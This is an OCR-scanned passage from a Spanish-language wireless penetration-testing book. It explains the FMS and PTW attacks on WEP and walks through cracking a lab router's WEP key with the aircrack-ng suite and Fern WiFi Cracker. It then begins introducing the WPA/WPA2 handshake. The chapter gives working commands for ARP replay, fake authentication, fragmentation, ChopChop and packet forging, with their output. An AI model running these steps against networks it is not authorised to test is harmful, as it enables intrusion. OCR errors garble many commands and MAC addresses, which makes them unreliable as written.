keystreams y en el hecho de que también utiliza |V débiles para generar keys-
treams débiles, haciendo posible que un atacante recoja una cantidad suficiente
de paguetes cifrados con estos keystreams, los analice y recupere la clave.

La cantidad de IV que se deben recopilar para completar el ataque FMS es de
aproximadamente 250000 para las claves de 40 bits y 1500000 para las claves
de 104 bits.

El ataque FMS ha sido mejorado por Korek en el 2004, aumentando su rendi-
miento. Posteriormente, Andreas Klein encontré mas correlaciones entre el
keystream RC4 y la clave que las descubiertas por Fluhrer, Mantin y Shamir, que
pueden utilizarse para crackear la clave WEP.

En 2007, Pyshkin, Tews y Weinmann (PTW) ampliaron la investigacion de
Andreas Klein y mejoraron el ataque FMS, reduciendo significativamente la
cantidad de IV necesarios para recuperar con éxito la clave WEP.

De hecho, el atague PTW no solo se basa en IV débiles (como el ataque FMS) y
es mas rapido y efectivo. Puede recuperar una clave WEP de 104 bits con una
probabilidad de éxito del 50 % utilizando menos de 40000 tramas y con una
probabilidad del 95 % con 85000 tramas.

El ataque PTW es el método predeterminado utilizado por aircrack-ng para desci-
frar claves WEP.

Tanto los ataques FMS como los atagues PTW necesitan recopilar un ndmero
bastante grande de tramas para tener éxito y se pueden realizar de forma pasiva,
olfateando el tréfico inaldmbrico en el mismao canal del AP objetivo y capturando
trama. El problema es que, en condiciones normales, tendr4 que pasar bastante
tiempo para recopilar pasivamente todos los paguetes necesarios para los ataques,
especialmente con el ataque FMS.

Para acelerar el proceso, se vuelven a inyectar tramas en la red para generar
trafico en respuesta. De este modo, se pueden recolectar los [V necesarios mas
rapidamente. Un tipo de trama que es adecuado para este proposito es la soli-
citud ARP, porgue el AP la difunde cada vez con un nuevo IV. Como usted no
estd asociado con el AP, si se le envian tramas directamente, se descartan v se
envia una trama de desautenticacion. En cambio, se puede capturar solicitudes
ARP de clientes asociados y retransmitirlas al AP
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Esta técnica se llama atague ARP Request Replay y también es adoptada por

aircrack-ng para la implementacion del atague PTW.

@ ::Cracking del WEP con Aircrack-ng e

Py sus ataques relativos, esta listo para

Una vez vistas las vulnerabilidades de WE
n, vera como descifrar claves WEP con

comenzar la parte préctica. En esta seccio
|la suite Aircrack-ng.

ha recopilado informacion sobre cada red que
sera probada, como, por ejemplo: el BSSID, el canal en el que opera y el proto-
colo de seguridad utilizado. En este caso, se enfocara en una red protegida por
WEP y comenzard a capturar las tramas intercambiadas por el APy los clientes

asociados en el canal relativo.

En la fase de descubrimiento, s€

1 631 Configuracion de un router como AP con clave WEP

Para este ataque se ha configurado un router como AP. Puede usar su propio
router o uno usado de los que abundan en el mercado. En este caso se configurd
un router de marca TP-LINK modelo WR840N con |la direccion IP 192.168.1.11
asociado a un router principal gue tiene la conexién a Internet con la direccion
P 192.168.1.1. Para configurar el router como AP y colocar seguridad WEP se

han seguido 10s siguientes pasos:

1. Conectar mediante un cable UTP el equipo (portatil o PC) a uno de los puertos

LAN del router.

En un navegador, escribir la direccion |P del router 192.168.1.11.

erta, acceda al Panel de configuracion del router escribiendo

5. Enla ventana abi
contrasena admin.

como nombre de usuario admin'y COMO

[ @& 192168111

‘Routar inalambrico N 3
Router inalambrico N TLAVRE4OR

|
|
|
l

4 En la seccion Modo de operacion, elija Punto de acceso.

Cracking del WEP

Rouiter inalambrico N 300Mbps. WRB40N

10 I:p-link Modeln TE-WRE40H |

Wicdo e opsracion

“alaccionar i Modo a Operacidn

) Router inalambrica

Herramientas dai Sislema

(@ Punlo de acceso

Finalizar Sesion

Reutar inalfinbrice N 300Mbps WRadON
il

Micidals TLWITREN

Segundud kit
« Putrado AC atinihres
- Inaldminics AV

it sbess pRutntncas

wdoiior de FEAoRARES

6. En la seccion Segur

5 En la seccion Inaldmbrico, establezca la opcion

idad inalambrica, elija la opcion WEP y coloque una clave il
sencilla de 64 bits, por ejemplo «012345678%». '

) Bxiensor de Rango

WPS en Deshabilitado.

s (1 Protacied St - Coabrunacin da Yk Prospazt

3 #114 50pATAdN U 18 B2

et La s .
TP napana
WPE Deshebiiad bt \ “|
i

PiAdush 300V pesteirurwi PN | Ganarer un PO 1S

[ e el FIH el dspar e

Fgregarn Dispasiles Hise. g Cispesie [
= = e —— = = — \ ‘i-
I
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Router inalambrico N 3J00Mbps WRE4ON
Meduio TL-AWRO4OH

-p tp-link

Estaco R—
T T T s
iodo q& operatlén B ] Contrazefia tnalimorica:
e Periogo de Aduslizzodn Clave dal Grupa

imdmdtes
Confgnmeionss (askps (€ WRAMPAZ - Empresarial

-ws versttn. [Avomatiea ¥

- Seguridad InaEmorica Enciclazin [ Automatico "‘__.‘
Fimn MAL inainie s B 3
Insmerio Avdirtaga Pusito ael Senidor AAONIZ [1317  |¢1-88533, 0 represerta el pueto pizoatermnada 1812}

Canlrazeiia sl Serdaar RADIUS - B ==

Paodn do Adustizacién Clam oelSupe, [0

Estingiyticas ki ad
T

@ WEP

Tigode Autanficacién  [Siatama Ablen v
it |
Faimala ds 13 Clave 4 WEF: . [ Hemadecimal [¥)

Ciave Sstecclonsox  Clave de WEP Tipa du Clave
L T —
oz o | LT e
Cem3 O : e 7]
- L ! Duhiimndn—m

Guarder

7. Haga clic en Guardar y espere a que S reinicie el router. Ahora va a estar

configurado como AP.

1 paso 1 Configurar el adaptador en modo monitor

Si el adaptador estd en la interfaz wlan, inicie el modo monitor del adaptador
inalambrico, como ha visto en el capitulo 3, escribiendo el siguiente comando:

airmon-ng start wlan@

* root@Kati2038: - -
Achivo Editar Ver Buscar Temminal Ayuda (o7 o
Irootakal ize18: # alrmon-ng start wlan® i

Found 3 processes that could cause trouble. 3
1f airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to run ‘ailrmen-ng check kil'

PID Name

1417 NetworkManager
564 wpa supplicant
3473 dheclient

PHY: Interface Driver Chipset

%.hyl wlanémon

rtls1s7? Realtek Semiconductor Cerp. RTL8187

Si aparece el mensaje indicando que algunos procesos podrian causar error, use
el comando kill seguido del nimero de los procesos:

kill 417 564 3473

Vuelva a ejecutar el comando airmon-ngy la pantalla aparecera sin errores:
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T cootdkaaom - 5
Foatghalii0iE: A alrmon-ng start wlang

gund 3 precesses that could couse trouble,
1f airodusp-ng, aireplay-ng or alrtun-ng stops working after
n short perlod of time, you may wanl ta run 'wifmon-ng check Kill’

PHY Interface Driver Chipset

_payl wlan@mon reiais? Realtek Semiconductor Corp, ATL2IST

i paso 2 Capturar trafico

La direccidon MAC del router (ahora trabajando como AP objetivo) se encuentra
en la etiqueta ubicada en la parte inferior del dispositivo. En este caso, el AP se
encuentra en el canal 10y su direccion MAC es: BO:4E:26:1E:F6:36, y es el valor
que se va a usar como BSSID.

() w
\\\ ///r
Y /4

Router
AP objetivo

Cliente

BSSID: BO:4E:26:1E:F6:36
Clave WEP: 0123456789

w
MAC: FO:03:8C:84:02:.0D
Luego, para capturar el trafico de su red objetivo, ejecute el siguiente comando:

airodump-ng --channel 10 --bssid BO:4E:26:1E:FG:36 --write wep_crack wlan®@mon

N O N R I T e 60
Archivs Edfar Ver Buscar Teminal Ayds

CH 10 ][ Elapsed: 3 mins ][ 20818-85-03 @7:21

BSSID PWR RXQ Beacons #Data, #/s (H MB ENC CIPHER AUTH E
BO:4E:26:1E:F6:36 -17 91 1881 7654 6 10 54e WEP WEP T
BSSID STATION PWR  Rate Lost Frames Probe
IBQ:AE:ZG:IE:FB:.% F@:03:8C:84:02:00 -9 le-54e 0 7936
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Este comando guarda todas las tramas capturadas en el archivo pcap de nombre
wep_crack. A continuacion, vera cémo descifrar la clave WEP cuando hay clientes
conectados al AP y cuando no hay clientes conectados al AP.

i oaso 3a: Descifrar la clave WEP con clientes conectados

En la captura de pantalla anterior, se ve que hay un cliente, que tiene la direccion
MAC F0:03:8C:84:02:DD, conectado a su AP objetivo.

Como usted no esté asociado con el AP y no puede enviar solicitudes ARP, se
capturan y retransmiten las solicitudes transmitidas por ese cliente.

Para este proposito, use aireplay-ng que es una herramienta disefiada para
inyectar tramas y tiene varias opciones para realizar diferentes ataques, que
serdn estudiados mas adelante en este libro. Esta herramienta se uso para probar
el adaptador inalambrico para inyeccion en el capitulo 3 «Hardware inalambricon.

La herramienta aireplay-ng tiene varios modos de ataque, los que se muestran
en la siguiente pantalla. Puede escribir el nombre del ataque o el nimero corres-
pondiente. Por ejemplo, para el ataque arpreplay se puede escribir el nimero 3,
por razones didacticas lo escribiremnos con palabras.

Attack modes (numbers can still be used): i
|

--deauth count : deauthenticate 1 or all stations (-6)
1 --fakeauth delay : fake authentication with AP (-1)
| --interactive ; interactive frame selection (-2)
-arpreplay . standard ARP-request replay {-3)

{ --chopchop : decrypt/chopchop WEP packet (-4) {
| --fragment : generates valid keystream {-5) |
--caffe-latte : query a client for new IVs (-6) I
| --efrag . fragments against a client (-7} |
--migmode : attacks WPA migration mode (-8) 1
\ --test : tests injection and quality (-9)
--help : Displays this usage screen ‘

Para descifrar |a clave del WEP, realice los siguientes pasos:
1. Abra un nuevo Terminal y ejecute el siguiente comando:

aireplay-ng --arpreplay -h F0:@3:8C:84:02:DD ~-b BO:4E:26:1E:F6:36 wianOmon

Donde:
b es el BSSID (la direccién MAC del AP).

-1 es la direccion MAC del cliente.

—-arpreplay (0 -3) €s la opcion de ataque ARP Request Replay.
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el b L e s
| root@kalizels: -# aireplay-ng -3 -b BO:4E:26:1E:F6:36 -h 84:02:0D wlanemon |
; :4E:26:1E:F6: -h FO:83:8C:84:02:DD wl |
| The interface mc tee:CQ:cA:BZ:ﬁﬁ:-sﬂ doesn't match the specified MAC (-h) i
B szifflo;lf;:ﬁ wlan®man hw ether FB:03:8C:84:02:DD l
142 laiting for beacon frame (BSSID: BO:4E:26:1E:F6:36) :
Saving ARP requests in replay arp-0503-074202,cap AR L |
| You should also start airodump-ng to capture replies.
\ead 992 packets (got 0 ARP requests and & ACKs), sent © packets...(0 pps) J

_Notal

direcciones = evitandc
Cg es MAC, evitando Archvo Edrar Buscar Opclones Ay
escribirlas a cada momento, |BSSID: BO:4E:26:1E:F6:36
CH: 10

se sugjere usar la aplicacion  §MAC:FB:03:8C:84:02:0D

Leafpad (similar al Notepad L______
de Windows) donde puede suardar las direcciones gue se muestran en |a sighiente
¢ en |a siguiente

Tantalla © Sl o T ey i - Vg I
pantalla. Solo deberd copiar y pegar, en vez de volverla a digitar en |a lnea de comandos.

Cambie al terminal con la salida de airodump-ng y deberia notar que el nimero
de tramas capturados (#Data) aumenta rapidamente.

2. _De;pués de recolectar una cantidad suficiente de paquetes (es decir, como se
indic, alrededor de 40000 para el ataque PTW implementado por aircrack-ng),
puede comenzar a tratar de descifrar la clave WEP, iniciando aircrack-ng en
una nueva pestada de la terminal.

guardadas en un archivo .cap, utilizando el atague PTW como método prede-

} Aircrack-ng es una herramienta que puede recuperar la clave de las tramas
. terminado. Ejecute el siguiente comando:

aircrack-ng -b BO:4E:26:1E:F6:36 wep_crack-0l.cap

Donde: -b es (como de costumbre) el BSSID. Si aircrack-ng no logra descifrar
la ;Iave WEP, espere a que airodump-ng recolecte mas |V y vuelva a intentar
el proceso (de manera predeterminada, cada 10000 IV recolectados):

aircrack-ng 1.2 rc4

[00:00:06] Tested 122893 keys (got 7515 IVs)

KB depth  byte(vote)

] 174 59(11264) 04{11008) AF(11008) 83(18752) 49(108240)
1 48/ 1 EC{8704) 03(8448) 33(8448) 4F(8448) 59(8448) 496)
2 34/ 2 BF(9216) 1E(B9I60) 44(8960) 76(8960) 87(8960) 496)
3 2/ 32 S5F(11264) ©89(16496) 42(18496) 9C(10496) E0(10456)
4 18/ 89  F7(9728) 1F(9472) 59(9472) 5B(9472) 61(9472) 496)

‘iai'lud. Next try with 16808 TvVs.

, S_ug‘erenua: No cierre los terminales. Deberia tener tres terminales trabajando
1' simultaneamente con los siguientes comandos:

’ Para facilitar el ingreso de las
“(5In nombre) 6 0
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.
o

airodump-ng capturando trafico.

. airoplay-ng inyectando tramas.

e

. aircrack-ng descifrando la clave.

B3

Finalmente, aircrack-ng devuelve la clave crackeada, que se muestra en hexa-
decimal y ASCII:

|
fd root@kali2018: - e @ 0
Archivo Edttar Ver Buscar Terminal Ayuda : ! ’ g

Aircrack-ng 1,2 rcd |

[06:00:14] Tested 546 keys (got 40342 IVs)

depth  byte(vote)
o,rp 1 a{(snsd] DB(49664) 18(48640) 26(47872) 4E(47616)

o/ 1 23(55296) 91(47872) AB(47872) CD(47616) F6(47104)
9; 11  @8(46592) 69(46336) 77(46336) 28(46080) 5A(45824)
4/ 47 67(47368) EE(46848) AE(46592) E2(46080) SE(45824)
@/ 1 89(54784) Al(48128) 07(47872) 41(47872) C2(47616}

=

bW~ OD

KEY FOUND! [ 01:23:45:67:89 ]
Decrypted correctly: 100% it il e Dl PR T ST B

B p2so 3b: Descifrar la clave del WEP sin clientes conectados

En esta seccion, se tratara el caso mas complejo de recuperacion de la clave sin
clientes asociados con el AP.

Como no se puede responder a las tramas de solicitud de ARP,_ se fjlebe simular
de alglin modo una autenticacion con el AP (hacer una autenticacion falsa). Se

usara la interfaz del adaptador inaldmbrico Alfa.

Atacante

daptador Ah‘a\ //,I.\\\\
:00:CO:CA:82:66:94 N3 Paal
. Vo2 8 ’
Router
AP objetivo

BSSID: BO:4E:26:1E:F6:36
Clave WEP: 0123456789

Para hacerlo, ejecute el siguiente comando:

]
g |
|
4
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aireplay-ng --fakeauth © -0 1 -e TPLink_F636 -a B0:4E:26:1E:F6:36 -h
00:CO:CA:82:66:94 wlan@mon

Donde:

-~fakeauth (0 -1) es la opcidn de autenticacion falsa.

@ es el tiempo de reasociacion en segundos (sin demora).
-0 es el nimero de paguetes enviados por hora.

-e es el SSID de la red. '

-a es el BSSID.

-h es la direccion MAC de la interfaz wlanOmon.

rootgkalizols:-# aireplay-ng - fakesuth @ -0 1 - TP-Link FG6I6 -a n:dﬁ:?‘:lﬁ:n:iﬂl
“h 00:c8:ca:82166:94 wlangmon !
14:87:32 Waiting for beacon frame (BSSID: BO:4E:26:1E:F8:36) on channel 4

14:87:52 Sending Authentication Request (Open System) H
/14:07:52. Authentication successful |

Deberia ver mensajes que digan que la autenticacién falsa tuvo éxito
(Assaciation successful).
_[Notal -~ o
I Si obtiene un mensaje «Got a deauthentication packet!s, probablemente el AP aplica el
fltraclo MAC, que permite el acceso sola a ciertas direcciones MAC,

a. Los ataques de fragmentacion y ChopChop

A continuacion, debe encontrar una manera de generar tramas de solicitud
ARP encriptadas con la clave del WEP utilizada por el AP. Pero no tiene esta
ultima: jesta buscando recuperarla!

Agui es cuando dos ataques pueden ayudarle:
« Elataque de fragmentacion.
+ El ataque ChopChop.

No todos los drivers de dispositivos inaldmbricos son compatibles con ambos
atagues, y no todos los AP pueden atacarse con éxito, por lo que estos ataques
se pueden realizar de forma alternativa.

a.1.El ataque de fragmentacion

Los AP transmiten tramas incluso cuando no hay ningtn cliente conectado.
El atague de fragmentacion permite recuperar el keystream (no la clave real)
utilizado para encriptar tramas, comenzando desde una trama individual
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transmitida por el AP. El tamafio maximo del keystream podrl’a‘ser igu’al 2 la
MTU (por sus siglas en inglés Maximum Transmission Unit «Unidad maxima

de transmision»), que es de 1500 bytes.

Para ejecutar el ataque, ejecute el siguiente comando:
aireplay-ng --fragment -b BO:4E:26:1E:F6:36 -h 00:C0:CA182:66:94 wlandmon

e oo mcl L T et s snpo gl S o S e e
[Ffeetokalizein;-# aireplay-ng --fragment -b BOAE:26:16:F6:36 -h 09:c@:ca:82:66:94 Wianémon f
14:17;14 walting for beacon frame (BSSID: BO:4E:26:1E:F6:36) on channel 4 !
14:17:14 Waiting for a data packet... :
[Pead 48 packets...

Size: B6, FromDS: 1, TaD§: 0 (WEP)

BSSI0 = BO:AE:26:1E:F0:30
Dest. MAC = FFiFF FFLFF:FF:FF
Source MAC = B8:B8AF:25.80:8D

0x0000; 0842 0000 T11f T11{ TIIf bOde 201e 1636 .B..
ex0010: bBbb af35 BSbd deel 3963 3999 T18c G444 ...
Ox0028: 579 53¢e BALT 2531 2d49 ased fdad Sael M.Y
0x0036; 2154 2003 9ccl 8960 cded 2479 J84b 19<H
0xB04B: 30c2 dbed 49ch bi4b cé21 1601 19a0 BII2
Ax0056:  BO28 9221 9lde

Use this packet 7 rl ¥ e feydd o S T T

El programa captura una trama originada desde el AP y solicita confirmar
si desea usar este paquete. Confirme escribiendo y. Luego, el programa
intenta recuperar hasta 1500 bytes del keystream. Podrfa darse el caso
de no encontrar suficientes acks:

Use this packet 7 y

saving chosen packet in replay src-0506-143249,.cap |
14:33:65 Data packet found! ‘

14:33:05 Sending fragmented packet
|14:33:05 Got a deauthentication packet!
14:33:10 MNot enough acks, repeating...
14:33:10 Sending fragmented packet
14:33:10 Got a deauthentication packet!
14:33:15 Not enough acks, repeating...
14:33:15 Sending fragmented packet
14:33:15 Got a deauthentication packet!
14:33:20 Not enqggh_ggkgigfgpeatiggllL_

Cuando alcanza una cantidad suficiente de bytes (384), solicita s:aii'r y
guardar el kesystream recuperado. El ataque habra terminado con éxito.
Entonces, puede proceder a crear una trama ARP request p_ara inyectar
en la red, como verd a continuacion. De lo contrario, puede intentar con

el ataque ChopChap.
a.2.El ataque ChopChop

El atagque ChopChop también puede recuperar el keystream de u_n’a trama
individual encriptada WEP como lo hace el ataque de fragmentacion, pero
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es un poco mas complejo y, por lo general, mas lento porque solo depende
del texto cifrado y no de ningtin texto simple conocido.

Para realizarlo, ejecute el comando:
aireplay-ng --chopchop -b BO:4E:26:1E:F6:36 -h 00:CO:CA82:66:94 wlanOmon

La salida se parecerd a la siguiente captura de pantalla:
rootqkalizols: # aireplay-ng --chopehop -b BO:4E:26:1E:F6:36 -h 501c6:car82;66:54 wiand)
14:36:23 Waiting for beacon frame (BSSID: B8:4E:26:1E:F6:36) on channel 4

Size: 128, FromDS: @, ToDS: 1 {WEP)

BS5ID = BO:4E:26:1E:F6:36
Dest. MAC = B4:EE:B4:7E:9D:70

Seurce MAC = FO:03:8C:84:82:DD

0x0000: 8841 2c@0 bode 261e 635 T0O3 8¢cB84 92dd  .A,..N&. .B......
0x0010: bdee b47e 9d70 7od4 0000 d16T 0200 e2e2 . (et 1 (N, el
0x0020: 540c 7560 Teca dds4 f4a3a 7561 1a79 2724 T.u' ...u. tun.y'$’
0x0030: Slea Gecf bdlf 6cad a994 4421 4b60 7657 Q.n...L1...DIK W
0x0040: 03a5 eb0l eebe ch74 6cb2 6eff 2coc de6e ......, Y R

0x0050: debf fcde Se6d b2df b54b b875 adbc eBed ..,.°m...K.u.L..
0x0060: f28d 69cb 44b8 9228 1f85 1d35 907c Scad ..1.D.. {2 W A
0x0878: 493 3d1f d7c7 edee 13db 870b 9872 8a92 ..=.,........ P

Use this packet 7 y

Si el ataque es exitoso, revise que el keystream y el texto plano se guarden,

. Crear e inyectar tramas de solicitud de ARP

Una vez recuperado el keystream, ahora es posible crear una trama ARP
request cifrada, utilizando la herramienta packetforge-ng:

packetforge-ng --arp -a BO:4E:26:1E:F6:36 -h 00:CG:CA:82:66:94 -k 192.168.1.100
=1
192.168.1,1 -y replay_src-0506-145239.cap -w arp-request

Donde:

--arp (0 -0) es para paquetes ARP.

-a es la direccion MAC del AP.

-h es la direccién MAC de origen.

-k es la direccion IP de destino.

-1 es la direccién IP de origen.

-y especifica el archivo keystream (obtenido con los atagues
vistos anteriormente).

-w es el archivo donde necesita guardar la solicitud ARP generada,

-1 192.168,1.1 -y replay src-0506-145239,cap -w arp-request
Wrote packet to: arp-request
[frnntv‘_ﬂk:lli:-«#

fouthkali: # packetforge-ng --arp -a BOIAE:26:1E:F6:36 -h 90:c0:ca:B82:66:94 -k 192W158.1.137

I
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Una vez creada la trama ARP request, puede inyectarla con aireplay-ng:
aireplay-ng --interactive -r arp-request wlan@mon

En la siguiente captura de pantalla, puede observar los detalles de la trama
ARP request siendo inyectada:

[rootakali:-# aireplay-ng --interactive -v arp-request wiangmon
Tuo source MAC (-h) specified. Using the device MAC 00:CO:CA:82::66:94

i size: BG, FromDS: 1, TaDs: 8 (WEP)

BSSID = BO:;4E:26:1E:F6:36

X Il Dest. MAC = FF:FF:FFtFF:FF:FF
Source MAC = B8:BB:AF!35:86:8D
: 6le 636 .B...,...,.N& .8
ox0800: 0842 0000 fEff f1Ef fFif bOde 2
‘ @xPE18: babb af35 @6bd déei 3968 3908 718¢C f4d4 |, ..5....9.9.9...

3 SO
0x0828: S52a9 59c6 Bd1f 2537 2d49 emed 9dad Baef R.Y...%7

@x0030;: 2154 2013 9ccl 896d cde2 2419 304b 10c9 1T ....m..$.0K,.
0x08640: 36c2 dbed 49c9 b34b ca2l 1681 19a6 b7fZ2 0. .I..K.l......
0x0850: £028 9221 918e . .

oo thisipacker toll 0 v G A n et S

La opcion --interactive le permite inyectar tramas de su eleccion, especifi-
| cadas con la opcion -r.

Vuelva a la terminal airodump-ng y observe el aumento del nimero de tramas
capturadas (#Data).

f Cuando tenga un ndmero suficiente de tramas, puede comenzar aircrack-ng
| para trabajar en el archivo pcap generado y recuperar la clave:

aircrack-ng -b BO:4E:26:1E:F6:36 wep_crack-18.cap

pening wep crack-018, cap
i Attack will be restaured every 5008 captured ivs.

= starting PTW attack with 76668 Lvs.

l ] Tonthkali: @ aircrack-ng -b B0:4E:26:1E:F6:36 wep_crack-010.cap
r
I

Arerack-pg 1.2 rcd

[86:08;14] Tested 946 keys (got 40349 IVs)

depth  byte(vote)
.:P 2. .¥f54784) DB(49664) 18(4B640) 26(47872) AE(47616)

0/ 1 23(55296) 91(47872) AB(47872) CD(476186) FO6(47164)
9; 11 B8(48592) 68(46336) 7T7(46336) 2B(A6680) SA(45824)
4/ 47 67(47360) EE(A6B48) AE(46592) E2(46080) 3E(45824)
0/ 1 B9(54784) AL{48128) O7(47872) 41(47872) C2(47616)

'

&HNH.%

! KEY FOUND! [ 81:23:45:67:89 |
| Decrypted correctly: 160%
L
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6.4 Cracking del WEP con herramientas
automatizadas (aircrak-ng)

En la seccién anterior, se cubrié el cracking de la clave WEP utilizando las herra-
mientas incluidas en el paquete aircrack-ng, que ofrece una amplia gama de
opciones y un gran nivel de control. Es esencial que los pentesters aprendan a
utilizar estas herramientas y comprendan la légica de los atagues que aplican.

También hay otras herramientas en Kali Linux que automatizan el proceso de
cracking WEP'y, por lo tanto, son més faciles e inmediatas de usar.

Una de estas es un script de Python llamado Wifite que usa la herramienta
aircrack-ng para crackear las claves. Puede descargar el programa y leer la docu-
mentacion y los ejemplos de uso en el sitio web de Wifite en https://code.google.
com/p/wifite/. La Ultima version del programa est4 disponible en https://github.
com/dervB82/wifite. Wifite serd desarrollado en el capitulo 7 «Cracking WPA /
WPA2>»,

Otro programa simple y automatizado es Fern WiFi Cracker, que se explorara
a continuacion.

{5 Cracking del WEP con Fern WiFi Cracker )

Fern WiFi Cracker es una herramienta GUI (que tiene interfaz grafica de usuario)
escrita en Python, y basada en Ia biblioteca Qt v en las herramientas de Aircrack-ng
para realizar el trabajo subyacente.

No solo est4 disenado para descifrar claves del
WEP y WPA/WPA2 con solo unos pocos dlics
del ratén, sino que también puede realizar otros
atagues inaldambricos contra AP v clientes.

Para ejecutar el programa, navegue
al MenG de aplicaciones > Kalj
Linux > Ataques Wireless > Herramientas
Wireless > fern-wifi-cracker,
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La GUI es simple e intuitiva. En la parte superior de la ventana, hay un menu
desplegable que enumera las interfaces inaldmbricas disponibles. Seleccione su
interfaz v el programa la pone en modo monitor.

Fern WIF| Cracker @

‘ {=3) [PTr——

Fiarn WIFI Cracker 2.5

@/ s

Para buscar redes inaldmbricas, haga clic en el botdn Scan for Access Points
vy deberia ver la cantidad de redes detectadas con encriptacion WEP o WPA,
ademas de los botones relativos.

1 }

pe Pythan Viersion: 2 7.5 getad
i Areragk Vrmor: Acrace o 1.2 ol '
| Qe Vergion 193 &fﬁom

| ARt Faviy WIF) Cracier

Haga clic en el boton Wi-Fi WEP, que abre una ventana gue muestra las redes
WEP detectadas en la parte superior.

=T

Seleccione su red objetivo y mire
sus detalles en el Attack Panel a
continuacién. En la parte inferior,
esta el panel de ataque, donde
puede elegir qué ataque realizar
contra la red. Para este ejemplo,
seleccione la opcién Ataque de
Fragmentacién a la izquierda v,
luego, haga clic en Ataque Wi-Fi
en la esquina superior derecha.

30 the trashed by of puk thates 5nd seact Tomy
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El Panel de ataque muestra
la progresion del atague con
el aumento del nimero de
IV capturados.

Finalmente, el programa
devuelve la clave crackeada (en
hexadecimal) en la parte infe-
rior de la ventana. Puede hacer
clic derecho sobre ella y copiar

s gty s s maibdly srmtked bieg 10 cipland, Hemse gt cixs [

T o S it bt AL % LY iy S S

Una vez hecho esto, el Panel de ataque mostrara la clave ASCII.
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En la ventana principal, puede ver que la entrada Key-Database se ha rellenado
con su clave recuperada.

|
. I 1 l lmmll'ﬂ:ﬂ'm
|

' Frenon vevsien: 2 7 1 aetat
- i erack Yersior, A ack i L 2l
! o Varsirs 16 % mwﬂu
L
. ADGuR bern Wir: Cracear . i

, En efecto, después de completar un ataque, la clave descifrada se guarda ?n
" una base de datos SQLite y podréa ver los detalles haciendo clic en el botdn

Key-database.

Decrypted wireiess keys are automaticaly added Lo the soite databsse after 8 successiu
mm_mmmmmm_mmmm

I w  AccassPoi | = Mac Address | Encryption| s Kay | @ cranrel
1]infostransWiF-2011., |08:74:4C:83:0C EQ | WEP 476542413954623,.. 3
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En este capitulo se tratd el protocolo WEP, los ataques que se han desarrollado
para crackear las claves, el paquete aircrack-ng y otras herramientas automati-
zadas incluidas en Kali Linux que aplican estos ataques.

El siguiente capitulo cubrird el protocolo WPA/WPA?2 v las herramientas utili-
zadas para atacarlo.




Capitulo 7

Cracking del i |
WPA / WPA2 ]

Este capitulo examinard el protocolo Wi-Fi Protected Access (WPA/WPA2) y i
se analizaran las técnicas y las herramientas para recuperar su clave de cifrado. AL

Los temas tratados son los siguientes:
Una introduccién a WPA / WPAZ2.
Cracking de WPA con Alrcrack-ng.

« Cracking de WPA con Cowpatty. }‘.\!ﬂ; .'|‘ 4.
Cracking de WPA con la GPU.

Cracking de WPA con herramientas automatizadas.

@ /. Unaintroduccion al WPA / WPA2 ‘

WPA/WPA2 son dos versiones diferentes de un protocolo de seguridad desarro- ‘I‘ i

llado por la Wi-Fi Alliance para sustituir al WEP como el estandar de seguridad

para los protocolos 802.11. El protocolo WPA se publicé por primera vez en 2003

y fue reemplazado por su sucesor el WPA2 en 2004, como parte del estandar il

IEEE 802.11i. Il “:||
Mu [

Tanto WPA como WPA2 admiten dos modos de autenticacion:

e
WPA-Personal. ||‘i|‘f" i
I i
!‘m ‘
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WPA-Enterprise.

En el modo WPA-Personal, se usa una PSK (por sus siglas en inglés Pre_f:h-ared Key,
«Clave previamente compartida») para la autenticacién y no hay necesidad de un
servidor de autenticacion. La PSK podria ser una frase de contrasefia (passphrase)
que tiene una longitud de 8 a 63 caracteres ASCIl imprimibles.

Mientras que el modo WPA-Enterprise requiere un servidor d.e autenticacion .que
se comunique con el AP mediante el protocolo RADIUS, los clientes se aluterltlcan
utilizando el protocolo EAP (Extensible Authentication Protocol). Se analizaran los
ataques contra WPA-Enterprise en detalle en el capitulo 8 «Atague al APy al

a infraestructuras.

Este capitulo se centrara en atacar la autenticacion WPA-Personal. WPA- Per;onal
v WPA-Enterprise comparten el proceso de autenticacion entre el AP yel cllfe'nte
(STA en el siguiente diagrama), que se conoce como handshake de cuatro vias.

Fl protocolo handshake de cuatro vias esta disefiado para que el AP (0 autentifi-
cador) y el cliente (o suplicante) puedan demostrarse mutuamente que c_on_ocen
la PSK / PMK sin revelar la clave. En lugar de divulgar la clave, el APy el cliente
cifran mensajes entre si, que solo pueden descifrarse utilizando el PM K.QL.Je ya
comparten. Si el descifrado de los mensajes tiene éxito, confirma el conocimiento

del PMK.

En el siguiente grafico se muestra el proceso de handshake de 4 Yias y, a conti-
nuacion, se describen los 4 mensajes que son enviados entre el cliente y el AP:

Cliente AP
| /;’r, AN
ey
W LY
PMK PMK
é «——— ANonce ——o-i
‘ﬁente construye PTK | ;
e—— Snonce + MIC —y,
[AP construye PTK ‘

i

— GTK+MIC —9~

o_ ACK (confirmacion) —

1
]
1
'
'
i
'
i
'
"
"
"
¥
'
i
]
I
]
'
1
'
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Las cuatro fases del proceso de autenticacién son las siguientes:

1. En la primera fase, ambas partes establecen independientemente una clave
llamada PMK (por sus siglas en inglés Pairwise Master Key, «Clave maestra en
pares») de 256 bits. Esta clave se genera a partir de |a PSK y del SSID de la
red. Luego, el AP envia un nimero aleatorio, el ANonce (AP Nonce), al cliente
que lo usa para construir una nueva clave llamada PTK (por sus siglas en inglés
Pairwise Transient Key, «Clave transitoria por pares») que se utilizara para cifrar
el tréfico. EI PTK se genera a partir de los siguientes atributos: PMK, ANonce,
SNonce y de la direccion MAC tanto del cliente como del AP.

2. Elcliente, una vez que tiene el PMK, responde enviando su propio valor nonce
al AP: envia un SNonce (STA Nonce) junto con un MIC (por sus siglas en inglés,
Message Integrity Code, «Cédigo de integridad del mensaje»).

3. EIAP construye y envia al cliente una clave GTK (Group Temporal Key, «Clave
temporal grupal»), que se usa para descifrar el trafico de multicast o de trans-
mision, junto con otro MIC. El AP comprueba que el cliente tiene realmente
el PMK al verificar el MIC durante el intercambio de autenticacién. Si el MIC
es incorrecto, significa gue el PTK y el PMK también son incorrectos, ya gue
el PTK se deriva del PMK.

4. El cliente envia un mensaje de confirmacion ACK (Acknowledgement) al AP
indicando que las claves temporales estan instaladas.

Analizando el handshake de cuatro vias, puede observar que, a diferencia de
WERP, la clave de cifrado (el PTK) es tnica, porque es una funcién de los pardme-
tros relacionados con el proceso de handshake y nunca se intercambia entre el
APy el cliente. WPA utiliza el protocolo de cifrado TKIP (Temporal Key Integrity
Protocol, «Protocolo de integridad de clave temporal») desarrollado por la Wi-Fi
